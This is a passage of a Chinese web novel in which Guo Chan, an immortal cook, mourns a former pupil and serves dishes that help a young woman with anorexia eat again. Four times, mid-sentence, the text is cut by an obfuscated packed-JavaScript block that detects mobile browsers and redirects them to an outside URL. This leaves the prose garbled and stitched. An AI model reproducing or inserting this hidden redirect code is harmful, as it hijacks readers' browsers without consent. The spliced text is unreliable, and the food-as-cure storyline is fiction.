怎么办，郭婵有点心动，有个像李新城这样的徒弟一定会很爽吧，一点就通，还温柔很会照顾人。 算了算了我不能久留，还是不耽误他了。理智否决了这个提议，郭婵不可能留在京城很久，最晚明年夏天她就要离开去往其他地方讨教学习。 12. 回忆杀结束 郭婵在京城如她所想果然只待到了七月，就准备走了。李新城特意给他们的驴车换了个木车棚，这天气去南方容易下暴雨要是像来京城前只有一个布车棚，真遇上了估计够呛。 在这九个月的相处里，郭婵一直将李新城带在身边，不知不觉间教导了李新城很多东西。李新城和李家上下都将郭婵当做李新城的师傅对待。 但是对于李新城提出的行拜师礼，郭婵思虑再三还是婉拒了。她这一走不知道什么时候能再回京城见李新城一面。 按郭婵过往的经验，她很少再见到故人，对于她而言几十载时光即使漫长在钻研厨艺时也是一晃而过，同白马过隙般。 厨师界对于师承还是很看重的，她不占了李新城师傅这个名额，意味着李新城还有机会拜师学艺精进厨艺。 既然如此何必占了个虚名，毕竟她能教李新城也不过就是这几个月，之后她难以为李新城提供助力了。 她和叶九仟，应龙这几个月吃着李家的，喝着李家的，已经是很难得的舒适时光了，毕竟他们不是没有混在流民堆里捞别人剩饭吃，或者被掳走连吃都只能吃山上能找的野草。 李家对他们的好足够回报她对李新城的精心教导了。 这世间缘就是如此，至亲至爱之人可能会伤你，生人也可能会不求回报的救你。 郭婵自认自己是个爱憎分明的人，爱她之人她爱，伤她之人她恨。但是对于她而言时光太长，记忆太短，她只能尽力做好当下，而不是去奢望未来。 南方斋众人原本说要闭门一日去送郭婵走，但是郭婵怕太麻烦了，私下和李新城商量不要惊动众人。 自己挑了个阳光明媚的日子，装模像样地掐指一算，神神道道：“今天是个别行的好日子。” 叫上叶九仟就开始收拾行李，两人逃难逃出了速度，不过两个时辰就已经将行李装上车了。 等到得到消息的李新城赶去，就是直接去了城门口见了两人最后一面。 郭婵递了一把古朴的鎏金小刀给李新城，说：“我不行拜师礼是为了什么你是知道的，但是在我心里你就是我徒弟。” 李新城还是太年轻太单纯，单单是场早就预定的离别也让他洒下泪来，避开叶九仟好奇眼神，偷偷拿衣袖拭泪。 叶九仟早就离别成习惯，在他看来除了郭婵和应龙，他和别人的故事就是相逢后离别，直至生命消逝。 因此很有长辈派头地摸摸李新城的头，说出他以为的名言：“怎地连分开都要流泪，你不是说男儿宁愿流血不流泪的嘛。”顿了顿终究舍不得他安慰道：“下次一定能够见面。” 李新城不想郭婵和叶九仟没有上路的好心情，故作镇定地说：“那我就送师傅到这里了，师傅一路顺风。” 却不知通红的眼角已经出卖了他的心情，看着驴车慢慢悠悠地踏上官道，扬起一阵尘土。李新城只觉得此一去山水长阔再不能相逢。 而事实却是李新城所想，直到他去世也没有再见到郭婵一面。 当他被押入牢中伴着老鼠蟑螂为伍，吃的是馊饭烂菜。 外面李家人满京城奔走，甚至连远在佛郎西国的诺曼和董旭都来信企图为李新城打通关系。 但是有时候命运就是弄人，李新城依旧死了，死前他在想自己的祖父，在想自己的父母，在遗憾，遗憾自己活不到再和师傅郭婵见面的一天了。 虽然可能到那时郭婵已经忘了他，甚至收了更合心意的徒弟了。 李新城其实已经隐约意识到了郭婵和叶九仟的不凡，毕竟再谨慎也有露马脚的时候。 因此对于郭婵要离京他也欣然接受了，毕竟身为灶神的她应该也苦恼着该如何提升自己的厨艺吧。 可笑的是诺曼多次来信邀请郭婵远赴佛郎西国，一定能拿下厨神的称呼成为该国厨艺界最闪耀的一颗星，郭婵对此不屑一顾。 当时李新城就在想郭婵对厨神不屑一顾，因为早就是她了，甚至是天地认可，众民敬仰的，这不比诺曼口中的含金量高嘛，所以他师傅也是个很促狭的人啊。 李新城留下的东西最后送到李家手上的只有那把一直带在身边的小刀，外表古朴，鎏金工艺，长久的抚摸都有点褪色了。 李新城虽然表面上答应了郭婵的请求以后再正式地寻一师傅，但在他二十四岁的生涯里郭婵是他唯一的师傅。 李新城促狭地想，师傅要是知道自己的死讯，再知道自己没有听从她的吩咐，会不会又痛心又感动呢。 不过我没机会知道了，看着渐渐模糊的白色，李新城倒在雪堆里失去心跳。 郭婵从梦中惊醒就睡不着了，披着一件外套倚在窗边，看着院里枝繁叶茂的大叔，漫天星光的夜空。 她在上千年里正式的或者不正式地教导过许多人，有些人她认为是徒弟，但也有些人不配这个称呼。 一张张迥异不同，表达着不同情绪的面孔在脑海闪现，最后定格在一张清俊白皙的面容，腼腆地笑着，露出可爱的小酒窝。 郭婵的泪悄然从眼角滑下，她接到李家的信时，离李新城去世已有两个月。彼时她在巴蜀摘辣椒，和叶九仟两个一起天天被熏得慌。 叶九仟还时不时提起在李家过的神仙日子，不住地劝她回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289749|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去一趟住上个把月又不碍事。她也有些心动因此定在来年春天回去一趟。 但就在他们启程去京城的两个月前，李新城死亡的消息猝不及防的到来。李新城去世，他们也失去了去京城的动力，之后到如今也不曾回去过。 第一次见到李新民，她就觉得有些眼熟。后来回过味了是她在李家住时遇到过的李新城堂弟，小男孩皮的很，天天不是上树掏鸟蛋，就是去附近的小河沟捉鱼。 没想到这么多年过去，他们还有缘再见。原本这事她不准备说出去，毕竟这身份终究不妥当，她不是没遇到过身边的人拿她去换滔天富贵的。 但是李新民自己发现了，她也就干脆承认了。李新民的来意她清楚，不过是为了家族谋个前程，来的李家小子能从她手里学个一丁半点，南方斋之后至少五十年不用愁。 看在过去的份上她也不在意这一丁半点，甚至还有点期待明天来的李家小子，既然算是李新城的后辈，会和他一样在厨艺一道上有天赋嘛，会长得有一点和他相似的嘛。 会和他一样有一颗赤忱之心吗？ 郭婵已经学会了不去期待明天，她没有能力保下李新城，没有能力让父亲活着看到她的辉煌。 似乎除了一身逐渐消逝的神力之外，她就是个普通人，那个凡人郭婵。更惨的是现在她连自己的未来都无法保证，她不知道自己什么时候就消散成一抹烟。 三千年的额外时光是天地给她预支的，所以成不了灶神，什么时候收回去也得看天地那荒唐的意愿。 她怒骂过贼老天，去抢过天材地宝，利用过金钱，权势为自己开路。她竭尽一切去努力成神，做了许许多多，但还好她在那段疯狂的时光中没有丧失过良心，没有泯灭人性。 在那段疯狂时期后随之而来的就是放弃，完完全全地放弃挣扎，甚至反应过激到不愿进厨房，不愿意握刀。 她甩开应龙，叶九仟，自己一个人到处乱窜。要不是因为那一架，她也许已经彻底烂掉，而不是还有精力回到家乡开个小饭馆。 这么多年过去，她对那死蛟龙已经没多少怨恨了，左不过当初的情爱人家未放在心上罢了，只她一个人昏了头，她以为的两厢暗恋，其实是自己剃头挑子一头热。 但是那蛟龙要是再出现，打她肯定是打不过，就别想她能给那蛟龙好脸色看。 算了起都起来了，去做早点吧。郭婵想着，利落地穿上衣服去了后厨。 她都想好要做点什么了，这天气越来越热了，好像每一年夏天都比前一年热得早，热得多，那就做凉皮吧，热的吃不下，凉的总能开胃了吧。 13. 第 13 章 凉皮起源于陕西关中地区，据传是源于始皇时期距今已有两千多年历史。 将和成的面团放入水中不停揉搓，这一步称为洗面筋。用洗面筋的水沉淀所得的面糊放入特意定制的大平底蒸锅中，一蒸一刮一挑，一张完整无缺口晶莹剔透的凉皮就躺在了案板上。 郭婵一直做到天放亮才停手，听到街上传来的动静，脚步声，说话声。她不禁微笑，她还是喜欢这样的市井生活。 郭婵将凉皮一摞摞放好晾凉，开始准备配菜。黄豆芽、海带丝焯熟，黄瓜切丝，花生米炒脆。零零碎碎的配菜调料光是摆就摆满了整个小桌子。 她事先将凉皮切好分成一份份的，被吸引来的人们立马自觉排好队开始买早餐。 杨可欣路过郭家小餐馆，在接朋友迟到和错过郭老板手艺之间艰难思考了三秒，然后毅然决然排进队伍中等待自己的早餐。 幸好郭婵做的凉皮前期准备好，后续只要调味装碗，这才使得杨可欣赶上了去往机场最近的一班公交。 在车上杨可欣没好意思吃东西，硬生生控制自己的口腹之欲。任凭闻着酸辣的气味嘴里口水如何泛滥，她都巍然不动。 就是公交车上的陌生人总会将目光落在她手里拎着的打包袋上，她还听到两个通勤的小姐姐窃窃私语。 杨可欣听得不大清，只听到一句“在哪买的？”令她在心里嘚瑟，嘿嘿，超好吃的凉皮你们吃不到诶。 立马觉得自己背更挺了，有了这份光靠气味就能吸引人的凉皮，她要更加抬头挺胸接受别人的视线，说不定就有帅哥接受不了诱惑来跟她搭话呢。 杨可欣陷入自己的美好幻想，自己热情地帮助帅哥找到了郭家小厨房，因此结缘最后相恋相爱，这份凉皮就是自己的媒人啊。 看着手上的凉皮眼神更加热烈了，这不是一普普通通的凉皮，是一份超好吃有着爱情魔力的神器凉皮。 可惜杨可欣都下车了也没想象中的帅哥和她搭讪，现在的男孩子都太腼腆了，不懂得珍惜美好的女孩子和凉皮。 杨可欣一看时间只能庆幸好友的飞机晚点了，自己没有迟到。 “萱萱，萱萱，这里，这里！”黄萱出了站牌就看见自己的好友杨可欣，一边大力招手一边喊她的名字，很有青春活力。 想到自己的身体在厌食症的折磨下已经虚弱不堪，全身皮包骨。黄萱不自觉地开始难过抑郁起来。 只能安慰自己这次的旅行可能是自己未来仅有的几次之一，黄萱才勉强打起精神和杨可欣互相问好拥抱。 厌食症带给黄萱的不仅是身体上的虚弱无力，在精神上也控制了她，黄萱常常莫名其妙地陷入不好的情绪中，仅仅因为一件看起来不显眼的事。 被蛛网缠住而渐渐无力挣扎的飞蛾，被暴雨摧残后只剩下零星几片花瓣的月季。 就是这些不起眼甚至平平无奇每天都会发生的事情，黄萱只要看到就会联想到自己日渐虚弱的身体从而陷入难过恐慌的情绪中。 她在目睹自己的死亡，并且毫无办法，靠着现代科技勉强活着，没有乐趣，没有生气。 杨可欣看着身旁女孩消瘦到骨骼突出的面庞，她像是小动物般感受到黄萱心里隐藏的坏情绪。 开始担忧起接下来的行程黄萱还会有精力参加吗，如果不参加她最好做些什么呢？ 思绪再三，杨可欣小心翼翼地开口：“萱萱，你坐了快两个小时的飞机也累了吧，刚好我带了些早饭要不我们先去找个地方解决早饭？” 黄萱不想因为自己的坏胃口而拂了杨可欣的情，一口答应下来：“好啊，刚好我也有点饿了，去附近找家餐馆点些东西吃吧。” 看着兴致勃勃找餐馆的杨可欣，黄萱即将接触食物的郁闷心情好了几分，大不了她吃上一口，吃一口总不会吐了吧。 杨可欣找了家西式快餐店，点了几份小吃。拉着黄萱坐下后，郑重其事地将它一路拎过来的两碗凉皮拿了出来。 黄萱闻着那股酸辣的味道勉强觉得有些兴趣，只以为是比较刺激的味道令她有了些食欲，因此也很给杨可欣面子的打算吃几口。 杨可欣特别体贴地将塑料盖子打开，将筷子包装撕下递给黄萱。黄萱看着杨可欣的行为，笑着道：“你什么时候这么体贴我了，就差亲自喂我了。” 杨可欣作势端起凉皮打算喂她，黄萱立马挡住不让她喂。两人一来一回笑闹了一会才开始解决自己的凉皮。 杨可欣自己的凉皮按她的重口味来，加了很多辣椒油和陈醋，又酸又辣，吃得杨可欣直呼够爽。 黄萱那份考虑到她很久没有进食，有也是几小口的量，怕刺激到她的胃。杨可欣特意叮嘱郭婵少放刺激的调味料，因此那份凉皮主要加的是麻酱和盐。 醋和辣椒油之类的就是加一点有个味道，黄萱能尝到一点，倒不会很刺激。 黄萱一入口才发现这份凉皮出乎她意料的好吃，她以前最喜欢吃的就是涮羊肉，自己调的料地就是以麻酱为主。 她喜欢麻酱的那份香气和口感，吃的凉皮里加的麻酱是郭婵一个合作很久的供货商出品，这家供货商是家庭式作坊，主打的就是手工麻酱，酱油和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289750|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他酿造产品。 能让郭婵满意的麻酱自然能够征服黄萱这个麻酱爱好者，口感细滑，口味醇香，炒芝麻的香气令黄萱有些飘飘欲仙。 凉皮劲爽各种口味融合的恰到好处，不会互相压制而是相辅相成共同促成了绝佳口感。加的花生碎，黄金豆口感脆脆的，混着黄瓜丝，海带丝，黄豆芽，令黄萱忍不住地一口接着一口。 等杨可欣吃完一大碗凉皮和大半的小吃后，才发现黄萱已经吃完在旁边喝水看着她狼吞虎咽。 杨可欣一看她只吃了半碗，眉眼一耷拉：“看来这凉皮也不大对你胃口。我家附近有家小餐馆特别好吃，我还以为你能多吃点就给你带了份他们今天推出的新品。” 黄萱反而笑了，笑中带泪：“可欣，我这半碗已经吃的是过去几天的量了。” 杨可欣一听也很开心，惊喜地问她：“这家做的你真的吃的下去，是不是对你的厌食症会有用啊？” 黄萱不想让好友伤心，说：“我觉得会有用的，我现在吃完还没有想吐的感觉呢。” “那真是太好了。”杨可欣立马起身要拉黄萱去郭家小厨房，“你之后就住我家吧，我家离那家小餐馆近，我之前就和我爸妈说过了。” 黄萱的焦点被转移了，皱着眉头说：“这不好吧，我在你家附近找个酒店旅馆什么的住住就好了，不要打扰到叔叔阿姨。” 杨可欣固执地不同意“我们四年大学室友，你没跟我爸妈见过，但是我爸妈对你可很熟，我说了这事我爸妈双双赞同。” 很认真地停下来直视着黄萱，一字一句地说：“你先在我家住个几天，要是真的能治好你的厌食症需要长期作战，我们再考虑在附近租个房子嘛。” 黄萱想想也是这个理，就不在纠结这个事了，乖乖地跟在杨可欣后面回家，她原先以为只是来玩个几天和老朋友杨可欣见个面。 只收拾了几件衣服提着个小旅行包就来了，杨可欣知道她很容易累，连那个旅行包都自己抢过去提。 现在黄萱两手空空，走出机场，阳光洒在她身上，她的眼睛被光线刺到流眼泪也不肯闭眼就微眯着眼。明媚的阳光未来还是有希望见到的吧，黄萱笑了笑。 等到黄萱跟着杨可欣到了幸福街道，杨可欣爸妈还在上班家里没人。杨可欣早早就将空置的客房整理好了。 被子床褥都是已经洗好晒好的，黄萱需要用到的日用品杨可欣打算带她去超市让她自己选。 到时候超市回来时间也差不多可以去吃郭家小厨房吃午饭了。算的刚刚好，杨可欣开心地夸自己。 14. 一烫抵三鲜 杨可欣和黄萱迎着西斜的落日踏入小饭馆，黄萱哪怕对于杨可欣口中绝顶美味的小饭馆有所准备，还是被小饭馆过于热闹的人气被惊到了。 小饭馆宾客满盈，每个人都吃的面颊泛红。杨可欣好不容易抢到一个两人桌，桌上还残存着上一桌客人留下还未清理的碗筷。 她也不在意，转身兴奋地招呼自己同伴：“萱萱，这有位置，快来！” 等到黄萱坐下她又很有主人翁气场地帮忙去点前台点菜了。看到写着今日菜单的小桌板，先是惊喜于“麻婆豆腐”的杨可欣，又有些担心黄萱的胃受不了辛辣刺激。 问在前台点单的叶九仟，“小哥，今天可不可以点其它清淡点的菜呀，我特意请我朋友来的，但是她胃可能不能吃辛辣。” 叶九仟先是有点懵，来这的客人都是今天有什么上什么菜，提要求换菜的倒是第一次见。 看叶九仟神色有点迟疑，杨可欣特地双手合十放在下巴下，小声乞求：“拜托拜托，小哥帮我通融一下吧，我朋友好难得来一次的。” 叶九仟也只能答应试一下，为难地说：“那我帮你问问啊。”杨可欣一下子开心起来，说：“除了辛辣，没什么忌口的，那就麻烦来一份麻婆豆腐，再来份清淡点的菜。” 叶九仟通过后厨与前台之间一个小隔板，向后厨的郭婵传达了客人的请求，郭婵原本有些奇怪客人突然提出了要求，但是看着坐在一起的小姑娘中格外瘦弱，脸颊无肉的黄萱。 疑心怕是这个姑娘胃口不好吃不了以麻，鲜著称的麻婆豆腐，也就答应下来用豆腐做道清单的菜。 郭婵回后厨料理麻婆豆腐。南豆腐也就是嫩豆腐切成小块，只见刀光闪烁，唰唰唰几下。一整块四方的豆腐，就被切成了长宽高各一厘米的小块。 起锅烧热油，牛肉末先下锅中炒至变色，捞出待用。趁着热油热锅，下入之前已经用小刀切碎其中蚕豆的郫县豆瓣酱。郫县豆瓣酱辣味香醇，咸鲜适宜。是极为开胃之物，用于料理川味名菜麻婆豆腐收必不可少的。 郫县豆瓣酱甫一接触热烫锅面，就被激发出内中特有的香味，再依次加入适量的淀粉水，熟牛肉粒，待文火收汁后加入豆腐块，出国前撒上一层川辣椒和少量花椒。 这辣椒以四川大红袍为最佳，花椒要选用烟熏热干熟制的。这样才能最大限度激发出麻婆豆腐的麻，辣两味。 郭婵做好一锅麻婆豆腐后，麻利地起锅装盘。看着砧板上剩下的一半南豆腐，考虑到客人要求的清淡养胃。 思考片刻后决定做一碗汪豆腐，汪豆腐是江南小吃，主要追求的就是鲜嫩豆腐与滚烫咸汤的热烈碰撞。 自古就有“一烫抵三鲜”的说法，做豆腐尤甚。七成热的虾籽酱油汤中下入南豆腐，滚开后加入少许水淀粉勾薄芡，最后在装好的汪豆腐上淋上提前热好的熟猪油。 一下子猪油的香味与虾籽虾皮的鲜味就盈满厨房，与麻婆豆腐的麻辣两两呈对峙之势。 汪豆腐一端出来，就吸引力一众食客的眼球，看看自己盘里所剩无几的麻婆豆腐，嗯，好像需要来碗清淡的润润舌，就决定是你了。 于是叶九仟在端盘子时第一次遭遇了围攻，在经过每一桌时，都被食客拦住，发出疑问，这是什么？看着好像还不错？我能来一碗吗？ 叶九仟将两位女士点的麻婆豆腐和汪豆腐放好，立马溜之大吉，他得赶紧问问郭婵今天能不能再加一道汪豆腐，不然有啥吃啥的食客们要闹了。 食客们：我今天在此时此刻必须吃到，不然就要闹了。 杨可欣还有些担心会不会黄萱能吃完白天的凉皮是个意外，但是看着黄萱明显放光的双眼，她又觉得不像，郭老板做的菜就是有这种无人能抵抗的魅力。 杨可欣放下她老妈子的心，开开心心地向麻婆豆腐中的牛肉末舀了第一口，没办法她是个肉食动物。 豆腐做的再好吃也比不上肉，这是肉门信徒杨可欣的箴言。 和她预想的没错，干煸的牛肉末紧致弹牙，配上重口的郫县豆瓣和辣椒，麻椒。咸，辣，麻三味一起在味蕾开会。 呜呜呜，这也太好吃了，杨可欣心里赞叹，又含泪吞下一大口白米饭，似乎小饭馆的米饭都粒粒弹牙，有着别样的清香。 牛肉末在整道麻婆豆腐中没有占主导地位，杨可欣在边沿捞来捞去也仅仅浅尝了几口。 只能一边感叹什么时候郭老板能开发一下牛肉酱她一定买个十瓶拌饭吃，一边向豆腐下手。 裹着红色汤汁的豆腐在白瓷勺的衬托下散发着莹润光芒。杨可欣迫不及待地将麻婆豆腐送进自己口中。 来不及吞咽，就觉得豆腐顺着口腔闭合的微动顺势滑入了食道，只留下微微在舌尖酝酿的酥麻。 这也太顺滑了吧，杨可欣又赶忙舀了一口，第一口吃得太快了，还没尝出什么味。 小心翼翼地在舌尖细细品尝后，杨可欣觉得自己被一阵幸福的感觉所醉倒。第一感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289751|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉就是滑，不用使力，豆腐就在口腔里碎开，随之而来才是霸道的辣，但细细回味又能感觉的一股不可忽略却不会让人觉得强势的麻。 豆腐本身没有味道，甚至应该有着隐隐的豆腥味。但是在辣椒与麻椒的双重夹击下，在汤汁文火的酝酿下。 南豆腐成功地赛过了牛肉末带给杨可欣的幸福感。杨可欣竟然觉得在麻婆豆腐这一道菜中本来无与伦比的牛肉末竟然不如豆腐。 麻婆豆腐一道菜激得杨可欣胃口大开，一勺麻婆豆腐，一勺饭，吃得杨可欣额头冒出了小汗珠。 沉浸在麻婆豆腐中的杨可欣忘我到忘记了观察自己好朋友黄萱的反应。不过黄萱自己也顾不上杨可欣了。 黄萱此前没有听说过汪豆腐，本来看到小饭馆今天只上了麻婆豆腐，黄萱还觉得可能今天要失望而归了。 毕竟哪怕这家饭馆的麻婆豆腐做的再怎么好吃，她也不可能不顾及自己因为长期绝食肯定受不了刺激辛辣刺激的肠胃。 但是没想到老板竟然真的答应了杨可欣的额外请求，单单为她上了一碗汪豆腐。就连这名号也是她第一次从这小哥嘴里听说的。 但是这额外请求的效果出乎她的意料，就像今天凉皮一样，她居然没有第一次在见到食物时感到恶心反胃。 她的厌食已经让她成功地将食物与反胃联系在一起，每次只要看见食物，尤其是冒着热气的食物，她总会感觉的恶心，从而抵触进食。 但今天，唯独在这位意外年轻的郭老板面前，这个现状被打破了。黄萱这样年纪轻轻的当然不想死，但是厌食已经困扰着她不能再正常生活了。 黄萱觉得自己的眼睛被腾腾上升的热气熏出了眼泪，也许这场意外能够延续下去呢。她也许在这样青春的时光中还能继续陪着自己的亲人，朋友走下去，走过生命的雨晴。 黄萱相信郭老板的手艺，对于这一碗看似不大美妙的汪豆腐有着极大的信心。毕竟深色的羹汤中包裹着米白的豆腐块和虾皮，还有红黄色粒装的虾籽，怎么看也比不上对面杨可欣面前的麻婆豆腐可口。 叶九仟遵循郭婵的嘱咐特意告诉了黄萱汪豆腐的组成，怕黄萱有什么忌口。 黄萱在深呼吸几口后在叶九仟转达的“吃豆腐就要吃烫豆腐”激励中，不顾舌头麻的风险，毅然决然舀起满满一勺汪豆腐。 第一口下去，不出意料地黄萱果然被烫到了，但是黄萱的眼睛确亮了起来，不禁感叹到这汪豆腐实在是。 15. 破庙相遇 实在是太好吃了，舌尖轻微麻感过去，汪豆腐的绝妙滋味就被舌上味蕾轻易捕捉到。 汪豆腐中豆腐与虾籽都不是重口味的食材，因此这道菜中的咸味主要来自于酱油，郭婵所用的油盐酱醋都是自己走南闯北过程中遇到手工作坊出产的顶级作品。 自然这老酱油的味道比之市面上日常调味品更加醇厚，商业化的生产不可能在制作过程中投入更多的精力时间，毕竟只要达到能够使用的标准就好了。 经过大日头暴晒的海虾米提供来自大海的鲜香，在滚水中被最大程度地激发了鲜度，仿佛被激发了在大海中游荡的自由。 配之南豆腐的爽滑，虾籽的脆嫩，一碗小小的汪豆腐简直成了汇聚各方味道的舞台，你方唱罢我登场。 黄萱哪怕觉得这碗汪豆腐有点太烫了，也还是抑制不住内心的原始冲动，一口接一口地不停吃着。 等她吃完舒心地长叹后，才发现对面的沉默。杨可欣早就吃完，一脸震惊地看着黄萱放下手里的碗勺。 没错，最后几口黄萱是珍惜地将碗举起，勺子挖干净沿壁才结束这一场美味的探寻。还没等黄萱吃完嘴里最后一口汪豆腐呢。 杨可欣就哇一声哭出来，起身抱住黄萱。周围的食客哪怕在沉浸在美食中。也被杨可欣的大动静吓到纷纷抬头看向她们两个。 在杨可欣带着哭腔的解释和黄萱消瘦脸庞上带着尴尬的笑容中，众人也纷纷明白了这一碗小小的碗豆腐对瘦到皮包骨的黄萱的意义。 纷纷安慰黄萱，“喜欢吃就多吃点，再吃几碗。”“小姑娘就是要吃的胖胖的好看，你呀太瘦了，多吃点，肚子饱饱，福气满满。” 在这一众人友善的话语里，黄萱脸上尴尬的笑容缓解了，她第一次在长时间消极生活后感到了温暖。 她轻轻地拍着杨可欣的背安慰她，头上的啜泣声越来越浅。杨可欣之前对于黄萱的担心在哭声中得到了释放。 杨可欣怏怏坐回自己的位置，一边抽纸擤鼻涕，一边怯怯地问黄萱：“你不会嫌我太小题大做了吧。” 黄萱带着笑摇了摇头，说道“怎么会呢？我其实知道你们都很关心我的，但是我就是魔怔了一样一直走不出来。这次的契机也让我决定了要好好的享受美食，好好享受生活和你们对我的爱。” 杨可欣激动地拉起黄萱的手，笑道：“那刚好，你多在安阳玩几天，小饭馆还有好多好多的美食等你品尝呢。平常其它时候我也可以带你逛一逛，你能想通就太好了。” 黄萱迎着好朋友期待的目光畅快地点头。她决定多在安阳待几天，看看是不是郭老板做的美食真的对她的厌食症有奇效。 在这几年的厌食生涯里，她通过医院的途径认识了很多和她一样因为心理或者生理问题而得上厌食症的人。他们一起创建了一个论坛来帮助各地患有厌食症的人 如果郭老板的美食真的有效果的话，她一定要向自己同病的朋友们大力推荐，也许就对同样患有厌食症的某几个人有效呢。 哪怕只能治愈几个人，对于他们而言也是能够换来新生的希望了。 黄萱喝下一碗汪豆腐就已经很饱了，杨可欣看她确实已经吃不下了才放下了再叫一碗的心，麻利收拾自己的碗筷去。 杨可欣配着一碗麻婆豆腐吃了两碗堆得冒间的白米饭，早就已经吃撑了，虽然她每次来小饭馆觅食都会吃撑。 随着两个女孩子有说有笑的离开，郭婵像是似有所觉一样从后厨出来，她作为灶神预备役，也就近几十年才接触到几个厌食症患者，黄萱还是第一个吃到她饭菜，并且病情竟然隐隐转好的人。 她也觉得有些稀奇，透过层层遮掩的樯橹，她看到了后院灶神像下的一个大土罐，隐隐冒着青绿色的荧光。 这一点连爬伏在灶神像膝上团成一圈的虬龙都没察觉到。 那两个与后院典雅恢宏，充满祭祀气息的氛围格格不入的大土罐。是郭婵与虬龙第一次相见时得到的灶神遗留法器。 * 山南道荆州 前日里刚下过雨，官道虽难免有些泥泞，却少了许多尘土不失为一件好事。路上走的百姓也撇开布围兜，走在路上肆意呼吸新鲜空气。 “吁”一辆两架马车停在茶摊前，路上行人一边打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289752|152097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这辆看着不起眼的黑色马车，一边悄悄离远，毕竟这世道，能养的起马来驾车的不是官宦士族，便是那大富商。 车架上坐着个小厮打扮的青年年男子，约莫二十，灰色的斜襟短打褂，利落干净。 小厮麻溜的跳下马，赶到茶摊前，急忙让摊主取一壶新茶水，摊主刚想拿现前的茶水装进备好的葫芦里，却被小厮摆摆手拒绝，丢下十几文，指明是要新烧的新茶水。 摊主见小厮对着自己面前的大桶面露嫌弃，估摸着这茶水摆在路边，掀开桶盖露天放置，不免有过路行人，牛马走动掀起的飞灰飞土汇入，特意多给几文钱要新茶。 摊主连笑着收齐文钱，高声叫着后面的家人，“幺儿，给客人装壶新烧的滚茶。” “好嘞”清脆的童儿声响起回应着摊主。 不多时从后面遮掩的草庐里跑出一个垂髫幼童，将新烧的茶水递给那小厮。小厮笑着摸摸童儿的头，随手从身上掏出几块糖递给小厮。童儿立马眼里放光，余光见自己老子没呵斥他，接过小厮手里的糖，口齿伶俐地说着吉祥话：“谢谢老爷，老爷一路顺风，事事平安！” 小厮接过茶水，赶回车上，将新煮的茶水递给马车上的侍女，侍女接过小心地烫好茶具，步骤繁琐地运用一整套茶具泡起云顶雪山，递给在榻上闭目养神的主人家。 车榻上大马金刀坐着一个健壮男子，织金圆领黑袍，单单用一根深绿色腰带勾勒出精瘦的腰身。腰侧挂着一个深蓝色香囊和一把匕首，肌肉遒劲，是个练家子。 男子接过滚茶，小心入口，摇摇头，叹道：“还是咱们月牙山顶的天泉水好喝，宁缺毋滥。” 说着一转手，手中茶盏已空。 马车一路前行，临近徬晚，却突遭大雨。车夫隔着帘布，问里面的主人：“主子，这四野没有避雨之地，我问了此间山地的土地公，只有前面出山的地方有一间供奉灶神的破庙，早已荒弃，想必早已没了灶神庇佑，可供我们妖族栖身。” 男子淡然发话：“那便去破庙里躲躲雨吧，这雨不对劲。” “是！”车夫狠狠甩了几鞭，将马赶得飞快。 16. 灶神罐现世 待马车赶到土地公口中废弃的灶神庙时，车夫才发现庙中，隔着破烂的木门，透出跳跃的暖红火光。 车夫皱眉，这庙中早已被人占据，可主子最讨厌接触陌生人，倒是为难。只得撩开帘子，向主人说明情况。 “这庙中已有人生火，估摸着也是同我们一样打算安置一夜的。”车夫为难地说出，低着头等待主人指示。 如他所想，车中男子皱眉，本不欲与陌生人相遇，说：“还是追捕那只小龙重要，即刻…” 话音未落，从庙中传来一股异香，勾着人口水直流。 男子摆手示意，不必多此一举。带着自己的车夫，一同前往破庙看看究竟是哪来的异香。 走至庙前，第一眼看到的是一个背对着他们的乞丐，头发凌乱地散着，身上的外服被抓出了几道大口，露出里面的中衣。 跟在男子旁边的车夫，觑了一眼男子面无表情的脸。待在男子身边多年的车夫兼小厮的野猪精平安，察觉出自己主子敖汉辰那面无表情脸上隐隐透出的嫌弃。 特意落地有声，引起了庙中乞丐的注意。 